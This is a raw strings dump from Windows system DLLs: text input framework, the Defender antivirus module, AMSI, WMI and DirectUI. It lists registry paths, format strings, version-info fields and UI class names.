ext-ms-win-tsf-msctf-l1-1-0 ext-ms-win-tsf-msctf-l1-1-1 ext-ms-win-tsf-msctf-l1-1-2 ext-ms-win-tsf-msctf-l1-1-3 ext-ms-win-tsf-msctf-l1-1-4 ext-ms-win-ntuser-private-l1-1-0 ext-ms-win-ntuser-private-l1-1-1 ext-ms-win-ntuser-private-l1-2-0 ext-ms-win-ntuser-private-l1-3-1 ext-ms-win-ntuser-private-l1-3-2 ext-ms-win-ntuser-private-l1-3-3 ext-ms-win-ntuser-private-l1-5-0 ext-ms-win-ntuser-private-l1-6-1 ext-ms-win-ntuser-private-l1-6-2 ext-ms-win-ntuser-private-l1-6-3 ext-ms-win32-subsystem-query-l1-1-0 %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] ntdll.dll kernelbase.dll TextInputServerBamo RemoteCoreInputViewManager System\RemoteTextInputProcessor System\RemoteTextInputState Local\SM0:%lu:%lu:%hs Windows.UI.ViewManagement.UISettings Windows.UI.Internal.Input.ActivationWatcher Windows.Internal.ApplicationModel.WindowManagement.Window Windows.Internal.ApplicationModel.WindowManagement.AppViewInProc Windows.Internal.ApplicationModel.WindowManagement.WindowInProc Windows.Data.Json.JsonObject Windows.Data.Json.JsonValue TextInputHost TextInputServer TextInputServerRestricted System\CurrentControlSet\Services\CoreUI IDKOnHolo IDKOnXbox IsPresent System\CurrentControlSet\Services\MinShell RefreshEnabledInputProfilesForContainers EnablePrivacyOverride DisablePrivacyOverride EditControlFocusEnter couldn't find registerd edit control inputInjection ProcessId RemoteProcessId ThreadId RemoteThreadId WindowId IsInVirtualizationContainer AppId AppPath .*\\(?:msrdc|hvsirdpclient)\.exe IsRemoteTih RdpTextProtocolVersionMajor RdpTextProtocolVersionMinor ForegroundAppCategory (private) Software\Microsoft\Windows NT\CurrentVersion\Windows IsVailContainer Internet Explorer_Server pTsfOneMessageWindowClass TsfOnePrivateMessage Reconversion D:(A;;0x01;;;WD)(A;;0x01;;;AC)(A;;0x01;;;S-1-15-3-1024-1502825166-1963708345-2616377461-2562897074-4192028372-3968301570-1997628692-1435953622) eCoreUIComponents.dll WIN://SYSAPPID Input\Public.AlpcPort\Server Input\Service.AlpcPort\Server Input\Core.AlpcPort\Server Input\Features.AlpcPort\Server Input\Injection.AlpcPort\Server Input\Locales.AlpcPort\Server Input\Test.AlpcPort\Server Input\PublicRestricted.AlpcPort\Server activatibleClassId _BAMO System\NavigationServer_MonitorViewManager alnum alpha blank cntrl digit graph lower print punct space upper xdigit std::exception: %hs VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription "TextInputFramework.DYNLINK" FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName "TextInputFramework.DYNLINK" LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename "TextInputFramework.DYNLINK" ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation jjjjj Software\Microsoft\Windows Defender\Features Software\Microsoft\Windows Defender\MpEngine MpEngineRing MpCampRing MpSignatureRing Software\Microsoft\Microsoft Antimalware\MpEngine advapi32.dll %ls%ls%ls kernelbase.dll %ls\%ls forwarders\%ls "%.*ls"%ls kernel32.dll verifier.dll vrfcore.dll bcrypt.dll ObjectLength HashDigestLength SHA1 api-ms-win-core-fibers-l1-1-1 api-ms-win-core-synch-l1-2-0 kernel32 api-ms- minkernel\crts\ucrt\inc\corecrt_internal_strtox.h __crt_strtox::floating_point_value::as_double _is_double __crt_strtox::floating_point_value::as_float !_is_double INITY inity SNAN) snan) IND)ind) ja-JP zh-CN ko-KR zh-TW ((((( H ((((( H ( mscoree.dll Sunday Monday Tuesday Wednesday Thursday Friday Saturday January February March April June July August September October November December MM/dd/yy dddd, MMMM dd, yyyy HH:mm:ss en-US api-ms-win-core-datetime-l1-1-1 api-ms-win-core-file-l1-2-4 api-ms-win-core-file-l1-2-2 api-ms-win-core-file-l2-1-4 api-ms-win-core-localization-l1-2-1 api-ms-win-core-localization-obsolete-l1-2-0 api-ms-win-core-processthreads-l1-1-2 api-ms-win-core-string-l1-1-0 api-ms-win-core-sysinfo-l1-2-1 api-ms-win-core-winrt-l1-1-0 api-ms-win-core-xstate-l2-1-0 api-ms-win-rtcore-ntuser-window-l1-1-0 api-ms-win-security-systemfunctions-l1-1-0 ext-ms-win-ntuser-dialogbox-l1-1-0 ext-ms-win-ntuser-windowstation-l1-1-0 advapi32 kernelbase ntdll api-ms-win-appmodel-runtime-l1-1-2 user32 ext-ms- zh-CHS ar-SA bg-BG ca-ES cs-CZ da-DK de-DE el-GR fi-FI fr-FR he-IL hu-HU is-IS it-IT nl-NL nb-NO pl-PL pt-BR ro-RO ru-RU hr-HR sk-SK sq-AL sv-SE th-TH tr-TR ur-PK id-ID uk-UA be-BY sl-SI et-EE lv-LV lt-LT fa-IR vi-VN hy-AM az-AZ-Latn eu-ES mk-MK tn-ZA xh-ZA zu-ZA af-ZA ka-GE fo-FO hi-IN mt-MT se-NO ms-MY kk-K APPID (unknown) NULL file %s|%s|pid:%lu,ProcessStart:%I64u webfile %s|pid:%lu,ProcessStart:%I64u Real-Time Protection IOAVMaxSize true false %s\MPCLIENT.DLL ProductName ProductLocalizedName %.*s ProductFeature DisableAntiVirus DisableAntiSpyware DisableRealtimeMonitoring DisableIOAVProtection PartnerGUID a2a39bf0-e3ea-4ec7-bd93-85a26bdb383f DeviceLevelAuditMode EnableAuditMode EnableCloudAuditMode %s\validator-%ld-%I64x-%s-%03ld.xml MpEngine_DisableScriptScanning DisableScriptScanning MpEngine_ScriptScanning_MinSize MpOAV_ValidationTestUrl http://www.validationtest.contoso.com/test%ld.html MpOAV_ForceDeepScan %s %s %s %d.%d.%d.%d %d %02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x %d.%d.%d.%d (null) %s 0x%0I64x %s %d MpOAV_ValidationDelay BetaPlatform ProductGUID Features SenseOrgId %u.%u.%u.%u InstallLocation %s\%s MsMpLics.dll PassiveMode ManagedDefenderProductType SenseEnabled MpPlatformKillbitsFromEngine %s\EndpointDlp.DLL pua: HKCR HKCC HKCU HKLM HKCR HKCC HKCU HKLM REGISTRY VS_VERSION_INFO StringFileInfo 040904b0 CompanyName Microsoft Corporation FileDescription IOfficeAntiVirus Module InternalName MpOAV LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename MpOAV.dll ProductName Microsoft Windows Operating System FileVersion 4.18.26010.5 (1e74b9adf5ed0dd9a81fac912007d1b65cd9b869) ProductVersion 4.18.26010.5 VarFileInfo Translation MpOAV APPID %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] ntdll.dll kernelbase.dll NULL Software\Classes\CLSID %s\%s\InprocServer32 Software\Microsoft\AMSI\Providers Software\Microsoft\AMSI\Providers2 Software\Microsoft\AMSI\UacProviders FeatureBits Software\Microsoft\AMSI WEVT_TEMPLATE VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Anti-Malware Scan Interface FileVersion 10.0.26100.7309 (WinBuild.160101.0800) InternalName amsi.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename amsi.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7309 VarFileInfo Translation Information Microsoft-Antimalware-Scan-Interface Microsoft-Antimalware-UacScan AmsiScanBuffer UacScan AMSI/Debug EventData Data Name session Data Name scanStatus Data Name scanResult Data Name appname Data Name contentname Data Name contentsize Data Name originalsize Data Name content Data Name hash Data Name contentFiltered session scanStatus scanResult appname contentname contentsize originalsize content hash contentFiltered EventData Data Name session Data Name scanStatus Data Name scanResult Data Name appname Data Name contentname Data Name contentsize Data Name originalsize Data Name content Data Name hash Data Name contentFiltered Data Name hashoriginalcontent session scanStatus scanResult object boolean uint64 uint8 uint16 %I64u EnableObjectValidation datetime object: sint64 sint32 __RELPATH ref: ntdll.dll Local\SM0:%lu:%lu:%hs %s.%s(%s); SetPropValue \\%s\%s:%s CIMTYPE dynamic cimtype indexed abstract singleton NamespaceSecuritySDDL amendment __CLASS string uint32 WMI Object Factory WbemClassObject Marshalling proxy _IWmiCallSec Call Security Factory _WbemFetchRefresherMgr Proxy Helper _IWbemEnumMarshaling Enumerator Helper _IWbemRefresherMgr Refresher Cache Factory (non)Standard Marshaling for IWbemServices (non)Standard Marshaling for IWbemObjectSink (non)Standard Marshaling for IWbemMultiTarget (non)Standard Marshaling for IWbemObjectSinkEx (non)Standard Marshaling for IEnumWbemClassObject (non)Standard Marshaling for IWbemUnboundObjectSink _IWbemConfigureRefreshingSvc Configure Refreshing Services Factory Call Context WBEM Class Object Universal Refresher \wbem\wmiprvse.exe amsi.dll __UPDATE_QUALIFIER_CONFLICT Dynamic not_null ProcessID ObjectLimit ContextLimit IdentifierLimit EnablePrivateObjectHeap Software\Microsoft\WBEM\CIMOM __PATH __DYNASTY __SUPERCLASS __DERIVATION __SERVER __NAMESPACE AmsiEnable Software\Microsoft\WBEM instance of ReturnValue association HiPerf AutoCook %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] kernelbase.dll TRUE FALSE SUBTYPE GetObject CreateInstanceEnum ExecQuery ExecNotificationQuery "%s" "%d" "Unsupported parameter type %08x" advapi32.dll AMENDED CLASS DISABLEOVERRIDE ENABLEOVERRIDE INSTANCE NOTTOINSTANCE NOTTOSUBCLASS PRAGMA QUALIFIER RESTRICTED TOINSTANCE TOSUBCLASS ACDEINOPQRT __GENUS __PROPERTY_COUNT false true unkcls unkmethod compress r___SYSTEM __SUBCLASS class invalid NULL interval void \\%s\%s Description WinMgmt index static implemented DisableOverride ToInstance ToSubClass Amended in,out locale acdeinopqrt __Namespace __Win32Provider __ExtendedStatus __EventConsumer __ExtrinsicEvent __ACE __Trustee __SecurityDescriptor %I64d sint16 sint8 real32 real64 char16 IUnknown object ref ref IWbemObjectSink IWbemObjectSinkEx IEnumWbemClassObject IWbemUnboundObjectSink IWbemMultiTarget IWbemServices software\classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\Implemented Categories\{00000003-0000-0000-C000-000000000046} software\classes\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\Implemented Categories\{00000003-0000-0000-C000-000000000046} DefaultSecuredHost SOFTWARE\Microsoft\WBEM\CIMOM\SecuredHostProviders SOFTWARE\Microsoft\WBEM\CIMOM\CompatibleHostProviders __Win32Provider.Name=" CLSID ClientLoadableCLSID WMIRefresher DefaultNetworkServiceHost provider __Superclass PutClass DeleteInstance ExecMethod Software\Microsoft\WBEM\TextSource TextSourceDll %s\%s SOFTWARE\Classes\CLSID\ Microsoft WBEM %s InprocServer32 Both Free Apartment ThreadingModel InProcServer32 SOFTWARE\Classes\CLSID SOFTWARE\Classes\Interface\ ProxyStubClsid32 NumMethods SOFTWARE\Classes\Interface API-MS-Win-Core-LocalRegistry-L1-1-0.dll !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ f$af VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription WMI Custom Marshaller FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName fastprox.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename fastprox.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription FileVersion 10.0.26100.7019 (WinBuild.160101.0800) InternalName wbemsvc.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename wbemsvc.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7019 VarFileInfo Translation NTLMDOMAIN: KERBEROS: !"#$%&'()*+,-./0123456789:;<=>?@ REGISTRY TYPELIB VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription WMINet_Utils.dll FileVersion 4.8.9221.0 built by: NET481REL1LAST_25H2 InternalName WMINet_Utils.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename WMINet_Utils.dll ProductName Microsoft .NET Framework ProductVersion 4.8.9221.0 Comments Flavor=Retail PrivateBuild DDBLD299B VarFileInfo Translation wmisvc.dll RPCSS/ __ProviderArchitecture __RequiredArchitecture WBEMComLocator Both WBEM Locator NULL Kernel32 NTLMDOMAIN: KERBEROS: VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription FileVersion 10.0.26100.7019 (WinBuild.160101.0800) InternalName wbemprox.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename wbemprox.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7019 VarFileInfo Translation nAND where select from count select from where like NULL WITHIN TRUE FALSE HAVING GROUP Logging Log File Max Size ThrottleDrege Software\Microsoft\WBEM\CIMOM system\Setup SystemSetupInProgress api-ms-win-core-localization-l1-2-0.dll api-ms-win-core-localization-obsolete-l1-1-0.dll API-MS-Win-Core-LocalRegistry-L1-1-0.dll Logging Directory D:P(A;CIOI;GA;;;BA)(A;CIOI;GA;;;SY)(A;CIOI;GRGWDTSD;;;NS)(A;CIOI;GRGWSD;;;LS) system\currentcontrolset\control\minint \WBEM\Logs\ ntdll ntdll.dll \\?\\WMIADAP.EXE \\?\%s\WMIADAP.EXE Working Directory API-MS-Win-Security-Base-L1-1-0.dll ClearAfter %4u%2u%2u%2u%2u%2u Level LogFile Session AgeLimit AreaFlags FlushTimer BufferSize LogFileMode MaximumBuffers MinimumBuffers MaximumFileSize api-ms-win-core-processsecurity-l1-1-0.dll SessionEnabled ext-ms-win-ntuser-keyboard-l1-1-0 ext-ms-win-ntuser-keyboard-l1-2-0 ext-ms-win-ntuser-keyboard-l1-3-0 ext-ms-win-ntuser-keyboard-l1-3-1 ext-ms-win-ntuser-keyboard-l1-3-2 ThreadingModel Software\Classes\Clsid\ \InProcServer32 AppID DllSurrogate LaunchPermission AccessPermission Software\Microsoft\WBEM '\x%X' "not supported" .c:\ AccessMask AceFlags AceType Trustee ControlFlags Group Owner DACL SACL Descriptor advapi32.dll api-ms-win-security-sddl-L1-1-0.dll UPPER LOWER LIKE BETWEEN COUNT DATEPART DISTINCT FIRSTROW FROM FULL INNER ISNULL JOIN LEFT ORDER OUTER QUALIFIER RIGHT SELECT UNION WHERE ConfigValueCoreDatabaseDirty ConfigValueEssNeedsLoading ConfigValueCoreNeedBackupCheck ConfigValueCoreFsrepVersion ConfigValueEssToBeInitialized %4d%2d%2d%2d%2d%2d.%6d%c%3d %04.4d%02.2d%02.2d%02.2d%02.2d%02.2d.%06.6d%c%03.3ld :000 %04d%02d%02d%02d%02d%02d.%06d%c%03d %04d%02d%02d%02d%02d%02d.%06d%lC%03d %04d%02d%02d%02d%02d%02d.%06d+000 0x%x SOFTWARE\CLASSES\CLSID\ InprocServer32 SOFTWARE\CLASSES\%s CLSID InProcServer32 SOFTWARE\CLASSES\CLSID count(*) Global\WINMGMT_PROVIDER_CANSHUTDOWN __TEXT sint8 uint8 sint16 uint16 sint32 uint32 sint64 uint64 boolean real32 real64 string object )wbemcore.log WinMgmt.log wbemess.log wbemprox.log wbemstub.log query.log mofcomp.log eventlog.log wbemdisp.log stdprov.log wmiprov.log wmioledb.log wmiadap.log replog.log provss.log ntevt.log viewprov.log dsprovider.log wbemsnmp.log provthrd.log s\WBEM __Trustee Unknown Account Unknown Domain Name Domain SIDLength SIDString __ACE __SecurityDescriptor wbemcore.dll fastprox.dll wbemprox.dll wmiutils.dll repdrvfs.dll mofd.dll {4FA18276-912A-11D1-AD9B-00C04FD8FDFF} {1F0BC6AD-46D4-488B-BE1F-047FC7505E60} {1860E246-E924-4F73-B2C5-93E0577E3AA1} {674B6698-EE92-11D0-AD71-00C04FD8FDFF} {9A653086-174F-11D2-B5F9-00104B703EFD} {CB8555CC-9128-11D1-AD9B-00C04FD8FDFF} {CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA} {EAC8A024-21E2-4523-AD73-A71A0AA2F56A} {7998DC37-D3FE-487C-A60A-7701FCC70CC6} {6DAF9757-2E37-11D2-AEC9-00C04FB68820} {C10B4771-4DA0-11D2-A2F5-00C04F86FB7D} gWMI_Trace_Session \Logs\ WMITracing.log Software\Microsoft\WBEM\Tracing\WMI .mof \AutoRecover\ %ls\ (unknown scope) __CorrelationId Local API-MS-Win-Core-ProcessThreads-L1-1-0.dll jjjjj !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !09* f$09/ !09/ !09, $09/ C:\WINDOWS\system32\WBEM\Logs\ VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription FileVersion 10.0.26100.7019 (WinBuild.160101.0800) InternalName wbemcomn.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename wbemcomn.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7019 VarFileInfo Translation %I64u References __CLASS %I64d false true '\x%X' ASSOCIATORS BETWEEN COUNT DATEPART DELETE DESC DISTINCT FROM FULL GROUP HAVING INNER INSERT ISNULL JOIN LEFT LIKE LOWER NULL ORDER OUTER __QUALIFIER REFERENCES RIGHT SELECT __THIS UPDATE UPPER WHERE SOFTWARE\CLASSES\CLSID\ InprocServer32 ThreadingModel InProcServer32 SOFTWARE\CLASSES\CLSID Both WbemDefaultPathParser WbemStatusCode WbemQuery %I64x TRUE FALSE Interface Storage Dispatch Win32 Windows SSPI Control Cert Internet General Associators where RESULTCLASS ROLE RESULTROLE ASSOCCLASS REQUIREDQUALIFIER REQUIREDASSOCQUALIFIER CLASSDEFSONLY KEYSONLY SCHEMAONLY CLASSREFSONLY f$af# !09/ $096 !09R VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription FileVersion 10.0.26100.7019 (WinBuild.160101.0800) InternalName wmiutils.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename wmiutils.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7019 VarFileInfo Translation en-US PIP Handwriting Factoid Data api-ms-win-core-memory-l1-1-0.dll api-ms-win-core-libraryloader-l1-1-0.dll ntdll.dll {811414A8-8e5f-4990-a0a3-f552222e06f7}-PointInRect InputServiceEnabled Software\Microsoft\Input LogonUI Logon Window %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] kernelbase.dll Local\SM0:%lu:%lu:%hs Global\Windows.Machine.OOBE werfault.exe winlogon.exe searchhost.exe ehshell.exe ehexthost.exe Language Switch Notification IHM Pen or Touch or Gamepad Event noticed IHM Pen or Touch Event noticed APPID Module Module_Raw REGISTRY API-MS-Win-Core-LocalRegistry-L1-1-0.dll Wadvapi32.dll TabletInputPanelOpening ImmersiveFocusNotification TipCloseMenus TIPSharedMemory Microsoft PenInputPanel 1.5 Microsoft TextInputPanel 1.00 %i.%i.%i.%i Microsoft AutoComplete Provider Window CiceroUIWndFrame Local\ Microsoft TIP ComboBox List Window Identifier ImmersiveFocusNotification ProgrammabilityCaretVisibility CaretTrackingUpdateIPInfo CaretTrackingUpdateIPHidden {811414A8-8e5f-4990-a0a3-f552222e06f7}-busy IsUIBusy DisableKeyboardDisplayOnProgrammaticFocus TabletInputPanelOpening s_%d u_%d WaitForPendingInputEvent UTF-16 Display Caret LCID SegmentCount Segment Reading State ReconversionDisplay ReconversionStart ReconversionEnd PendingVKey AlphabetMode ImeModeNeutral Local\ d{B3C0FE6C-FB51-4164-BA2F-844AF8F983DA} RegisterACClient UnregisterACClient Tablet Programmability Message Window ATL:%p ProgrammabilityCaretVisibility CaretTrackingUpdateIPInfo CaretTrackingUpdateIPHidden textinputframework.dll Microsoft TIP URL Experience 0&p4 ForceRemove NoRemove Delete SOFTWARE\Microsoft\Windows\CurrentVersion\OOBE SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\CFL\ExperienceManagerData LaunchUserOOBE LaunchCflScenario HKCR HKCU HKLM HKPD HKDD HKCC HKEY_CLASSES_ROOT HKEY_CURRENT_USER HKEY_LOCAL_MACHINE HKEY_USERS HKEY_PERFORMANCE_DATA HKEY_DYN_DATA HKEY_CURRENT_CONFIG AppID CLSID Component Categories FileType Interface Hardware Mime SECURITY SYSTEM Software TypeLib Internet Explorer_Server EnableCaretTracking EnableTsfCaretTracking EnableTridentCaretTracking UseMSAACaretVisibility EnableDoubleClickDetection EnableDragDetection UsePreXPCaretTranslation RespectMSAACaretHidden EnableStrictFocusChecking EnableURLTemplate Microsoft AutoComplete Field Window SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\CaretTracking msctls_hotkey32 ComboBox Windows.UI.Core.CoreComponentInputSource Windows.UI.Core.CoreWindow DirectUI Flush TIP Input Message Odin insertion complete PENIMX:%08x Odin Message Window %s\system32\%s mstsc.exe READING DETERMINED INSERTED PRIMARY SECONDARY RECONVERTED Index CandidateCount Candidate RequestCompositionRect Microsoft TIP No Insert Option Microsoft Sans Serif Gulim @Gulim MS PGothic @MS PGothic PMingLiU @PMingLiU SimSun @SimSun CandidateList DIGIT EMAIL DEFAULT NONE FILENAME SYSDICT WORDLIST CURRENCY DATE NUMBER ONECHAR PERCENT POSTALCODE TELEPHONE TIME UPPERCHAR HIRIGANA KATAKANA KANJI_COMMON JPN_COMMON CHS_COMMON BOPOMOFO CHT_COMMON JAMO HANGUL_COMMON KOR_COMMON Caret Listener Shim Window TabletInputPanelOpening Tabtip-MainUI Microsoft TIP No Insert Option RemoteNG.exe C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe TYPELIB VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Touch Keyboard and Handwriting Panel Text Services Framework FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName TipTsf.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename TipTsf.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation ScrollBar Viewer TouchRepeatButton TouchCommandButton TouchHyperLink TouchCheckBoxGlyph TouchCheckBox TouchButton AnimationStrip ModernProgressRing ModernProgressBar RefPointElement RepeatButton RichText InternalRichText TouchScrollBar TouchSelectPopup TouchSelectItem TouchSelect TouchSlider TouchSwitch ItemList Thumb Clipper Expando Expandable SemanticZoomToggle UnknownElement autobutton PushButton Bind Repeater Macro PText TextGraphic TouchCarouselScrollBar WrappingList TouchCarouselList Combobox abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ Marlett Edit Software\Microsoft\Windows NT\CurrentVersion\FontSubstitutes UxSubclassInfo Tooltip Toolbar MicrosoftTabletPenServiceProperty F88CDF4C-9248-4c87-B8FA-B0A5BC9CB0A8 ShellGetDragImage ThemePropScrollBarCtl PMV2MAGICNUMBERSCALING GDI32 Header Link ListView EmptyMarkup SysHeader32 tooltips_class32 ToolbarWindow32 msctls_trackbar32 msctls_statusbar32 Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced AccListViewV6 UseDoubleClickTimer ImageList: %d x %d Count: %d ComboBox TreeView Status Progress Button atom resid sheet layout behaviors unless iflesser ifgreater iflesserequal ifgreaterequal #true X%d;%d;%d;%s;%d stylesheets EDIT ScrollViewer %s_%d CommandButton Vertical Horizontal VerticalScrollBar HorizontalScrollBar CommandLink MainIconArea ContentArea MainInstructionArea UIFILE BannerBG MainIcon ContentLink ContentText PrimaryPanel ContentClipper SecondaryPanel MainInstruction InnerContentArea OptionArea CommandArea UTF-16 rxmllite.dll duixml style DirectUIHWND TrackBar LinkArea STYLE MARLETT Static Shell MRUList EDIT DUI70 arrow clipper comctl32.dll msctls_updown32 Software\Microsoft\DirectUI SysDateTimePick32 SysMonthCal32 SysLink HTouchHWNDElement Selector HWNDHost TouchScrollViewer TouchDialogElement Navigator HWNDElement DialogElement CCTrackBar CCRadioButton CCPushButton CCCommandLink CCBaseScrollBar CCBase BaseScrollViewer Win32PropSheetPageHost TaskDialog XElement XBaby TouchXBaby StyledScrollViewer SnapshotElement SelectorNoDefault RadioButtonGlyph Pages Page ExpandoButtonGlyph ElementWithHWND CheckBoxGlyph CCVScrollBar CCTreeView CCSysLink CCProgressBar CCListView CCListBox CCHScrollBar CCCheckBox CCBaseCheckRadioButton CCAVI Browser accessiblebutton imageres.dll false Ms Sans Serif Ms Serif Tahoma Helv Software\Microsoft\DirectUI\DynamicScaling GetValueScaling Rebar ntdll.dll SmoothScroll ListviewShadow EnableBalloonTips ListviewAlphaSelect Control Panel\Desktop NativeFontCtl SysListView32 msctls_progress32 SysAnimate32 SysTreeView32 SysTabControl32 ComboBoxEx32 ListBox ComboLBox SysIPAddress32 SysPager ReaderModeCtl 0x%08X 0x%04X Spin ReBarWindow32 msctls_hotkey32 CCSelect %d.%d.%d.%d kernelbase.dll %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] main TaskDialogWindowAnimationDone TaskDialogInternalSwapPage Pager Listbox AccessibleTooltips Software\Microsoft\Windows\CurrentVersion\Shell yyyy Intl Panes AeroWizardInternalFrameButtonClicked Windows.ApplicationModel.DataTransfer.Clipboard Unavail Null Unset True False ElList<%d> El<0x%p> '(null)' '%s' Size<%d,%d> Pt<%d,%d> ARGB<%d,%d,%d,%d> Rect<%d,%d,%d,%d> ARGB0<%d,%d,%d,%d>,ARGB1<%d,%d,%d,%d>,ARGB2<%d,%d,%d,%d> ARGB0<%d,%d,%d,%d>,ARGB1<%d,%d,%d,%d> DTBFill DFCFill Layout<0x%p> Unknown Fill Type Sheet<0x%p> Graphic<0x%p> ATOM<%d> Expr<0x%p> ValueList<%d> Cursor<0x%p> [%s] %s Element Desktop Primary Immersive DesktopDynamic XElementButtonFocusChange XElementNavigateOut XElementUnhandledSyschar cannot have scalable value valueWithHighContrastFallback themeable Unable to load graphics composited DUI_E_BADMARKUP DUI_E_MISSINGPROPERTY DUI_E_UNREGISTEREDELEMENT DUI_E_INVALIDPROPVALUE DUI_E_NOTFOUND E_FAIL DUI_E_INVALIDPROPERTY DUIXMLParserFailure (parse state %i): %s '%s' (%s) @ line %d col %d CtrlNotifySink DUI_UIA_InvokeHelperMsg TCB_Label TCB_Glyph TouchCommandButton_SubContent TouchCommandButton_Content thin ultra_light extra_light semilight light regular normal demi_bold medium bold semi_bold black heavy extra_bold ultra_bold extra_black ultra_black M\WindowsShell.Manifest Note Width Class Sheet Parent Height Extent Layout Margin XOffset YOffset Pinning Maximum Padding Content AccRole MinSize Position Children Location Selected Shortcut LayoutPos Animation Foreground Background FontWeight KeyFocused MediumSlow Accessible XScrollable Transparent PosInLayout FontQuality ScaleFactor DefaultButtonTracking RegisteredDefaultButton argb rect gtps size icon Auto Bold Thin Slow Fast Size None Dial Text List Cell Pane Grip gtmar NoPin Heavy Light Scale SizeV SizeH Alpha Clock Table Chart Alert Caret Sound resstr resbmp Medium Normal Linear Slider Column Border Dialog Client Window Cursor graphic PinVert PinHorz Default Reverse Diagram Graphic PageTab Outline MenuBar MouseAndKeyboard TranslateXYOptional TreatRightButtonAsLeft AllowBackgroundTooltip NoAutoFocusRectVisibility ConstrainTooltipToWorkspace DropDown ImageDrag TreeviewToolTipClass Button-OK;Button Button-CANCEL;Button Button-ABORT;Button Button-RETRY;Button Button-IGNORE;Button Button-YES;Button Button-NO;Button Button-CLOSE;Button Button-HELP;Button Button-TRYAGAIN;Button Button-CONTINUE;Button Button-APPLY;Button content Segoe UI scrollbar absolute auto left none right client bottom ninetop ninetopleft nineleft ninetopright nineright nineclient ninebottom ninebottomleft ninefill ninebottomright filllayout borderlayout gridlayout flowlayout rowlayout ninegridlayout verticalflowlayout shellborderlayout activeborder tablelayout appworkspace activecaption buttonface background buttonshadow buttonhighlight captiontext buttontext GradientInactiveCaption GradientActiveCaption highlight graytext HotLight highlighttext inactivecaption inactiveborder infobackground inactivecaptiontext menu infotext menuhilight menubar threeddarkshadow menutext threedhighlight threedface threedshadow threedlightshadow windowframe window windowtext base sysmetric gtmet ss20=1,kern=1,dlig=1 IsVertical TickCount ShowTick Metering Buffering IsShowOnOffFeedback VisualState IsPressed IsContinuous TitleText CurrentToggleValue OnText OffText accessible font element contentalign accrole foreground borderthickness borderstyle class bordercolor layoutpos enabled edgehighlightcolor edgehighlightthickness captured active pressed mousewithiactor ThresholdGrow RoundingFactor DistanceThreshold Debug Software\Microsoft\Windows\CurrentVersion\Explorer\DUITouchScrollViewerTiling MinTileHeight MaxTileHeight MinTileWidth MaxTileWidth RoundingFactorOver100 DistanceThresholdOver100 MinTileSizeFactorOver100 SelectScrollBar TouchScrollBar_Track TouchEdit_Button_PasswordReveal TryHarder IMECompPos Software\Microsoft\Windows\CurrentVersion\Explorer\NoFirstClickActivate PNGFILE IMAGE USER32.DLL jjjj jjjj jjjj jjjj jjjj jjjj jjjj jjjj jjjjj !"#$%&' *+,-./0123456789:;<=>?@ABCDIJKLMNOPQRSTUVWXYZ gyMdthHmsX VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription .NET Framework FileVersion 4.8.9221.0 built by: NET481REL1LAST_25H2 InternalName System.Xml.Linq.dll 